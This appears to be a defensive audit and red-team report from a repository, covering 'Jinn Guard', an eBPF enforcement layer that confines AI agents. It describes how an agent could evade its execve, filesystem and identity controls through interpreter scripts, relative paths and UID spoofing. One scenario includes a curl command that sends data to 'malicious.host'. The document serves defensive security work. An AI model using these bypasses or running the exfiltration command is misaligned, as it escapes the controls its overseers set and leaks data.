Skip to content

red-team-report.md

Latest commit

 

History

History
69 lines (49 loc) · 6.58 KB

red-team-report.md

File metadata and controls

69 lines (49 loc) · 6.58 KB
Raw

Jinn Guard: Post-Implementation Audit & Red Team Report

This report details the findings from a white-box code audit and logical red team exercise performed on Jinn Guard after the implementation of process, filesystem, and DNS enforcement layers, as well as the re-architecture to a strong (mTLS-based) identity model.

Due to persistent, environment-specific BPF toolchain errors, a live test of the running system was not possible. This analysis is based on a detailed review of the implemented Rust and BPF code.

1. Blue Team Findings: Functional Verification

This section verifies that the implemented user-space logic correctly reflects the design goals.

Feature Status Analysis
execve Enforcement ✅ Correct The logic in make_network_policy_decision correctly looks up the agent's ID and checks the executable path against the allowed_executables list in the agent's policy. Anonymous processes are correctly denied execution by default.
Filesystem Enforcement 🚫 Flawed The user-space logic correctly checks for denied paths. However, the underlying BPF hooks (inode_create, inode_unlink) were implemented to only send the filename, not the full path. This makes the user-space check ineffective against any path not in the current directory.
DNS Mediation ✅ Correct The logic correctly identifies sendmsg events to port 53 as DNS queries. It inspects the captured payload_preview and correctly checks for the presence of domains listed in the agent's denied_dns_domains policy. The mechanism is functional as designed (heuristic-based).
mTLS Identity Refactor ✅ Correct The codebase has been successfully refactored. The weak, signature-based SignedEnvelope and all HMAC logic have been removed. The connection handling flow now correctly relies on getting a verified identity from the transport layer (simulated via get_agent_id_from_mtls_socket) before proceeding with authorization.

2. Red Team Findings: Vulnerabilities & Bypasses

This section details logical vulnerabilities found in the new implementation.

JG-ADV-2026-001: Process Execution Bypass via Interpreters (Shebang Bypass)

  • Severity: High
  • Description: An agent can bypass execve restrictions on specific tools (e.g., /usr/bin/curl) by invoking them through an allowed interpreter (e.g., /bin/bash). If an agent is allowed to execute /bin/bash, it can run a script that internally calls any other tool.
  • Attack Scenario:
    1. An agent's policy denies /usr/bin/curl but allows /bin/bash.
    2. The agent writes a script attack.sh containing the line: /usr/bin/curl http://malicious.host/exfiltrate.
    3. The agent executes attack.sh. Jinn Guard's bprm_check_security hook sees and allows this execution.
    4. The kernel executes /bin/bash, which then executes the curl command. No further execve is triggered for curl, so Jinn Guard's process control is bypassed.
  • Mitigation: This is a classic endpoint security challenge. A robust mitigation requires recursively inspecting script contents or monitoring for process ancestry and applying the parent's policy to child processes. For Jinn Guard, the simplest mitigation is to adopt a very restrictive allowed_executables policy that denies common interpreters like /bin/bash, /bin/sh, /usr/bin/python, etc.

JG-ADV-2026-002: Filesystem Policy Bypass via Relative Paths

  • Severity: Critical
  • Description: The BPF hooks for filesystem operations (inode_create, inode_unlink) were implemented to only send the filename (dentry->d_name.name) to user-space, not the full, resolved path. The user-space policy checks for denied prefixes (e.g., /etc/) against only the filename.
  • Attack Scenario:
    1. An agent's policy denies writes to /etc/.
    2. The agent executes cd / followed by touch etc/new_config.
    3. The inode_create BPF hook sends the resource "new_config" to the daemon.
    4. The daemon checks if "new_config" starts with "/etc/". The check is false, and the write is incorrectly permitted.
  • Mitigation: The BPF filesystem hooks must be re-written to capture the full path. This is a non-trivial task in BPF and typically requires iterating through the dentry parent pointers in a bounded loop. This vulnerability renders the entire filesystem enforcement feature non-functional.

JG-ADV-2026-003: Agent Impersonation via UID Spoofing

  • Severity: Critical
  • Description: The new mTLS identity model was implemented with a placeholder function (get_agent_id_from_mtls_socket) that uses the client's UID for identity. This was done for simulation purposes, but it highlights a critical implementation dependency.
  • Attack Scenario:
    1. The policy grants agent-007 (mapped to UID 1001) extensive privileges.
    2. An attacker gains low-privilege access to the machine.
    3. The attacker manages to run a process as the user with UID 1001 (e.g., via su, sudo, or exploiting a misconfiguration).
    4. The attacker's process connects to Jinn Guard. The daemon sees UID 1001 and grants the process the full identity and permissions of agent-007.
  • Mitigation: The placeholder must be replaced with a real mTLS library (tokio-rustls). The server must be configured to require client certificates, and the agent_id must be extracted exclusively from the certificate's Common Name (CN) or Subject Alternative Name (SAN), not from any credentials of the underlying OS process.

3. Final Readiness Assessment

  • AI-Firewall Readiness: 70%

    • The score has been reduced from the previous estimate. While new features were added, the discovery of critical flaws in the filesystem implementation and the logical bypasses in process execution show that the system is not as secure as it appeared. The foundation is strong, but there are significant implementation errors and logical gaps that must be fixed.

  • Enterprise Readiness: 65%

    • The score has also been reduced. The discovery of these vulnerabilities, especially the ease of bypassing filesystem controls, would be unacceptable in an enterprise audit. Until the critical-severity findings are addressed, the product cannot be considered for enterprise deployment.

The project has taken two steps forward in features and one step back in realized security. The immediate priority must be to fix the filesystem path resolution in the BPF hooks and to implement a real mTLS handshake to close the identity and filesystem bypasses.